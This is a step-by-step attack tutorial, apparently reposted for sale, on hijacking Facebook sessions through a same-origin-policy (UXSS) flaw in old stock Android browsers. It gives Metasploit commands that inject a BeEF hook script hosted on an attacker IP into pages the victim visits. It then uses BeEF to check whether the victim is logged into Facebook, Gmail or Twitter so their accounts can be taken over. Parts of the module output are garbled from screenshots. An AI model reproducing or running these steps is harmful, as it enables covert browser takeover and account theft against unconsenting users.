SOLD BY ZLOY3



Hacking Facebook: Same Origin Policy Exploit

Same-origin policy (SOP) is one of the key security measures that every browser should meet. What it means is that browsers are designed so that webpages can't load code that is not part of their own resource. This prevents attackers from injecting code without the authorization of the website owner.

Unfortunately, the default Android browser can be hacked as it does not enforce the SOP policy adequately. In this way, an attacker can access the user's other pages that are open in the browser, among other things. This means that if we can get the user to navigate to our website and then send them some malicious code, we can then access other sites that are open in their browser, such as Facebook.

Step 1: Open Metasploit

Let's begin by firing up Kali and then opening Metasploit by typing:

kali > msfconsole

You should get a screen like this.

Step 2: Find the Exploit

Next, let's find the exploit for this hack by typing:

msf > search platform:android stock browser

When we do so, we get only one module:

auxiliary/gather/android_stock_browser_uxss

Let's load that module by typing:

msf > use auxiliary/gather/android_stock_browser_uxss



```
Matching Modules
  Name
                                               Disclosure Date Rank
tion
  auxiliary/gather/android stock browser uxss
                                                                normal Android
 Open Source Platform (AOSP) Browser UXSS
msf > use auxiliary/gather/android_stock_browser_uxss
msf auxiliary(android stock browser uxss) > info
      Name: Android Open Source Platform (AOSP) Browser UXSS
    Module: auxiliary/gather/android stock browser uxss
   License: Metasploit Framework License (BSD)
      Rank: Normal
Provided by:
 Rafay Baloch
 joev <joev@metasploit.com>
Basic options:
```

Step 3: Get the Info

Now that we have loaded the module, let's get some information on this module. We can do this by typing:

msf > info

As you can see from this info page, this exploit works against all stock Android browsers before Android 4.4 KitKat. It tells us that this module allows us to run arbitrary JavaScript in the context of the URL.



Step 4: Show Options

Next, let see what options we need to set for this module to function. Most importantly, we need to set the **REMOTE_JS** that I have highlighted below.

5555			
BYPASS_XF0	false	no	Bypass URLs that have X-Frame-Opti
ons by using a	one-click popup exp	oloit.	
CLOSE_POPUP true		no	When BYPASS_XFO is enabled, this c
loses the popu	p window after exfil	tration.	
CUSTOM_JS		no	A string of javascript to execute
in the context	of the target URLs.		
REMOTE_JS		no	A URL to inject into a script tag
in the context	of the target URLs.		
200	0.0.0.0	yes	The local host to listen on. This
must be an add	iress on the local ma	achine or 0	.0.0.0
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connect
ions			
SSLCert		no	Path to a custom SSL certificate (
	ndomly generated)		
SSLVersion		no	Specify the version of SSL that sh
	accepted: SSL2, SSL3		and the second second
	http://example.com	n yes	The comma-separated list of URLs t
o steal.	1 / / / /		
URIPATH		no	The URI to use for this exploit (d
efault is rand	iom)		
and an extension of the second		unii karama 1	e more you are able to hear.
<u>msf</u> auxiliary(android_stock_browse	er uxss) >	e mare you are aste to field.

Step 5: Open BeEF

Now, open BeEF On Kali Linux



Step 6: Set JS to BeEF Hook

Back to Metasploit now. We need to set the REMOTE_JS to the hook on



BeEF. Of course, make certain you use the IP of the server that BeEF is running on.

msf > set REMOTE_JS http://192.168.1.107:3000/hook.js

Next, we need to set the URIPATH to the root directory /. Let's type:

msf > set uripath /



Step 7: Run the Server

Now we need to start the Metasploit web server. What will happen now is that Metasploit will start its web server and serve up the BeEF hook so that when anyone navigates to that website, it will have their browser hooked to BeEF.

msf > run

Step 8: Navigate to the Website from an Android Browser

Now we are replicating the behavior of the victim. When they navigate to the website hosting the hook, it will automatically inject the JavaScript into their browser and hook it. So, we need to use the stock browser on an Android device and go to 192.168.1.107:8080, or whatever the IP is of your website.

Step 9: Hook Browser

When the user/device visits our web server at 192.168.1.107, the BeEF JavaScript will hook their browser. It will show under the "Hooked Browser" explorer in BeEF. We now control their browser!

Step 10: Detect if the Browser Is Authenticated to Facebook

Now let's go back to BeEF and go to the "Commands" tab. Under the "Network" folder we find the "Detect Social Networks" command. This command will check to see whether the victim is authenticated to Gmail, Facebook, or Twitter. Click on the "Execute" button in the lower right.





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Re-execute command

When we do so, BeEF will return for us the results. As you can see below, BeEF returned to us that this particular user was not authenticated to Gmail or Facebook, but was authenticated to Twitter.

Now, we need to simply wait until the user is authenticated to Facebook and attempt this command again. Once they have authenticated to Facebook, we can direct a tab to open the user's Facebook page!

Facebook Password Extractor.

Ping Sweep (Java)

Ready